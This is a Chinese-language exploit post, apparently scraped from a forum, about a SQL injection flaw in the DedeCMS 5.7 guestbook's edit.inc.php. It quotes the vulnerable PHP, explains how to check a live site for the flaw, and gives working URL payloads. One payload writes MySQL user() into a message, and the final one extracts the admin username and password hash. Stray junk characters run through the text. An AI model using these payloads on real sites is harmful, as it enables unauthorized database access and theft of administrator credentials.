dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

* d; h1 f) y9 }1 c! w7 [8 G漏洞文件edit.inc.php具体代码：
) ~2 R( l, a, t" h- U8 |- `0 G) ^
% Y" S8 k* X3 V7 E3 }) p" k< ?php  
+ C% `) {' m$ }* i3 g- A
if(!defined('DEDEINC')) exit('Request Error!');  

   

* E) ~1 ?! ~, F" W+ J6 `" {$ a6 Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

4 m. K; z$ Q3 ?$id = intval($id);  
: s  j& B& S2 n' w1 }; A# K
. C6 S, I/ E% z" ?: k5 kif(empty($job)) $job='view';  

# \5 f0 E, l$ S# e+ `9 W; g   

1 E" Z0 c$ v- Hif($job=='del' && $g_isadmin)  

) S4 }5 ~! e  {' j{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
7 V% E, _4 M' ]. @5 K: ?
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  
1 n; z" \- x  S! Z
% Y* V( A( ~' r4 k" B$ `! }}  

else if($job=='check' && $g_isadmin)  

" \. L1 M2 k, d+ h. F+ b{  

  V: e7 G9 _5 m# k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; _% H! q8 t: q6 P+ m8 z8 c
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

6 u0 ~  G) ~3 H' c; ^  _+ {exit();  
+ d$ u/ Q6 K- U7 E+ t2 b& C8 n) p
}  

' P9 d6 }: P2 Z' m/ Selse if($job=='editok')  
' M8 O, W( O8 U* A
{  

* \, K3 u6 S* s3 r7 t) z$remsg = trim($remsg);  

if($remsg!='')  

) }+ h6 M; Z, l5 m; A* R- k, S{  
5 q& t( @" s. N8 ~# e' I: k2 d* n
# p3 \. x4 t! x* I# c0 @//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( U5 W. _7 a3 h2 R, b0 u- k- |0 E
9 o; R' X% o" u+ kif($g_isadmin)  

{  
2 s) j& W. p$ L( L
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
4 h* `( p2 L+ s5 a+ c* K$ b0 v7 A  ?
; B0 i* s- |9 W7 O2 f0 J//$remsg <br /><font color=red>管理员回复：</font> }  

( m: u% ?6 J; r& ^/ J1 X7 Kelse

{  
; g5 ], X$ {. n9 L2 h1 B
, X6 m5 H0 d* o6 H$ l/ o6 J$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
: [. t1 s) h$ @1 i* r  s6 E6 c
$msg = $oldmsg.$remsg;  

}  

/ D3 R( a3 D2 R& a* ?7 d1 Y}  

& ~* `4 Y' M- j6 c2 v3 `//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
+ |+ P+ P, X5 E' G; T, a0 w: P0 _5 L
# r/ R/ g6 g* ^ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

( Q7 n% q! J/ R% S; j3 c) `exit();  

0 L: ~& D+ {8 v}  

//home:www.errs.cc  

' O# _/ r! c9 n# u; I$ Sif($g_isadmin)  

' {9 u3 M5 \- ?/ m' h  P; ^3 h{  
8 ^1 R9 ]' J' a" j4 |& E  S
& n$ u, K6 D# ^# S; G. C$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

  g2 [. G% ?4 M0 u, {8 I) O. O- b}  
/ P8 B5 e; Q; |0 f2 P" ~
, ]4 R4 y" ~6 V9 w  {" d; Selse

8 _5 _( Z5 W6 M5 O* L{  
6 A  s( P* U2 _6 i$ A
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
, S7 ~. t! X! H7 g
' ^6 s! O( A8 n7 h2 e! f8 Crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
% @! b5 c2 K  S- J0 T
} 漏洞成功需要条件：
! V4 r- e0 i' G. K6 K1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
1 s+ d/ E* m+ O5 r/ c) M# P$ h访问：

6 _# f* I7 `4 K2 s2 z7 Twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' I) S7 |% A5 Y( s7 S* y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

1 ^+ T2 j# u5 |! j. }6 Fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
- y; k' X+ k5 S  T
, K8 {/ k+ n  b& N4 k+ P" B大概利用就是这样，大家有兴趣的多研究下！！
+ b) a3 Z" d1 C. l1 W
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='